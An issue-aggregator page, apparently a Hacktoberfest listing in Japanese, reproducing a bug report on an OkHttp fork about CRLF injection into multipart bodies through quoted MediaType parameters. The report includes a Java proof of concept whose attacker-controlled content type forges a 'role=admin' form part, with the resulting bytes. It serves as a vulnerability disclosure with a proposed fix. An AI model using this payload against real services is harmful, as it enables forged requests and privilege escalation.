Hacktoberfest 2026:メンテナが10月に向けて印を付けた、オープンで初心者向けの issue。 Hacktoberfest の issue を見る

CRLF injection into multipart bodies via a quoted MediaType parameter

オープン
#9,725 コメント 0 件 リアクション 0 件 担当者 0 名 GitHub で見る

メンテナーはふだん 1 日以内に返信

まだ誰も着手していません。

  • #9730 @waterWang による — マージされずにクローズ

評価

難易度
2/5
見積もり時間
1〜3時間
初心者へのやさしさ
45/100
issue の種類
バグ
明瞭さ
明確に書かれている
活発さ
停滞
技術スタック
kotlin
領域
security

調査の方向性

Start in okhttp/src/commonJvmAndroid/kotlin/okhttp3/MediaType.kt, where the issue identifies the quoted-parameter regex and toString(), then trace how MultipartBody.writeOrCountBytes writes the content type. Run the relevant MediaType and multipart tests, adding coverage for CR/LF in quoted parameters. Done means such input is rejected and the multipart injection demonstrated in the issue cannot occur; a linked pull request is already present, so check its status before starting.

索引モデルが issue の本文から書いたものです。

説明

bug

MediaType accepts CR and LF inside a quoted parameter, while MultipartBody writes that media type directly into the part header, so a content type taken from untrusted input can end the header block and append new multipart parts. The same exact string is rejected if it goes through the ordinary request-header path, so AFAICT, this is not intentional.

The regex for quoted parameters is in https://github.com/lysine-dev/okhttp/blob/b830f03c8f161883e0213c22c170c3d1f5f5eaa6/okhttp/src/commonJvmAndroid/kotlin/okhttp3/MediaType.kt#L94, which is problematic because the negated character class also matches CR and LF. toString() just returns the original string: https://github.com/lysine-dev/okhttp/blob/b830f03c8f161883e0213c22c170c3d1f5f5eaa6/okhttp/src/commonJvmAndroid/kotlin/okhttp3/MediaType.kt#L86.

MultipartBody.writeOrCountBytes then writes "Content-Type: " + contentType + CRLF:
https://github.com/lysine-dev/okhttp/blob/b830f03c8f161883e0213c22c170c3d1f5f5eaa6/okhttp/src/commonJvmAndroid/kotlin/okhttp3/MultipartBody.kt#L145-L150 with no validation in between.

A quick demo:

import okhttp3.Headers;
import okhttp3.MediaType;
import okhttp3.MultipartBody;
import okhttp3.RequestBody;
import okio.Buffer;

public class Poc36 {
  public static void main(String[] args) throws Exception {
    String attackerControlled =
        "text/plain; charset=\"a\r\n"
      + "\r\n"
      + "injected part body\r\n"
      + "--BOUNDARY\r\n"
      + "Content-Disposition: form-data; name=role\r\n"
      + "\r\n"
      + "admin\r\n"
      + "--BOUNDARY--\r\n"
      + "\"";

    MediaType mediaType = MediaType.parse(attackerControlled);
    System.out.println("MediaType.parse accepted it : " + (mediaType != null));

    try {
      new Headers.Builder().add("Content-Type", mediaType.toString());
      System.out.println("outer request header path   : accepted");
    } catch (IllegalArgumentException e) {
      System.out.println("outer request header path   : rejected (" + e.getMessage().split("\n")[0] + ")");
    }

    MultipartBody body = new MultipartBody.Builder("BOUNDARY")
        .setType(MultipartBody.FORM)
        .addFormDataPart("upload", "note.txt", RequestBody.create("original content".getBytes(), mediaType))
        .build();

    Buffer wire = new Buffer();
    body.writeTo(wire);
    System.out.println("\n--- bytes on the wire ---");
    System.out.print(wire.readUtf8());
  }
}

which results in:

MediaType.parse accepted it : true
outer request header path   : rejected (Unexpected char 0x0d at 22 in Content-Type value: text/plain; charset="a)

--- bytes on the wire ---
--BOUNDARY
Content-Disposition: form-data; name="upload"; filename="note.txt"
Content-Type: text/plain; charset="a

injected part body
--BOUNDARY
Content-Disposition: form-data; name=role

admin
--BOUNDARY--
"

original content
--BOUNDARY--

So the injected/forged role=admin part is complete and well formed, and because the terminating boundary is now before the real content, the application's "real" partbody ends up in the end and gets dropped.

Looking around a bit, this seems to be the only place where CR and LF are not rejected, so the fix seems to be just to reject CR/LF in MediaType.

主要言語
Kotlin
スター
47.1k
フォーク
9.3k
平均マージ
18時間 18分
マージ済み PR(30日)
15

環境構築

このプロジェクトには開発コンテナ、Dockerfile、コントリビューションガイドがありません。まず README を読み、一般的な手順ははじめてのコントリビューションガイドを参照してください。

はじめの一歩

  1. issue を最後まで読み、次にプロジェクトのコントリビューションガイドを読みます。
  2. 着手することを issue にコメントします — 二人が同じ作業をするのを防げます。
  3. リポジトリをフォークし、ブランチを切って変更します。
  4. issue 番号を参照したプルリクエストを送ります。

lysine-dev/okhttp のほかの issue

lysine-dev/okhttp の issue をすべて見る

似ている issue

Kotlin の issue をもっと見る

新しい issue をメールで受け取る

初心者向けの GitHub issue を短くまとめたダイジェスト。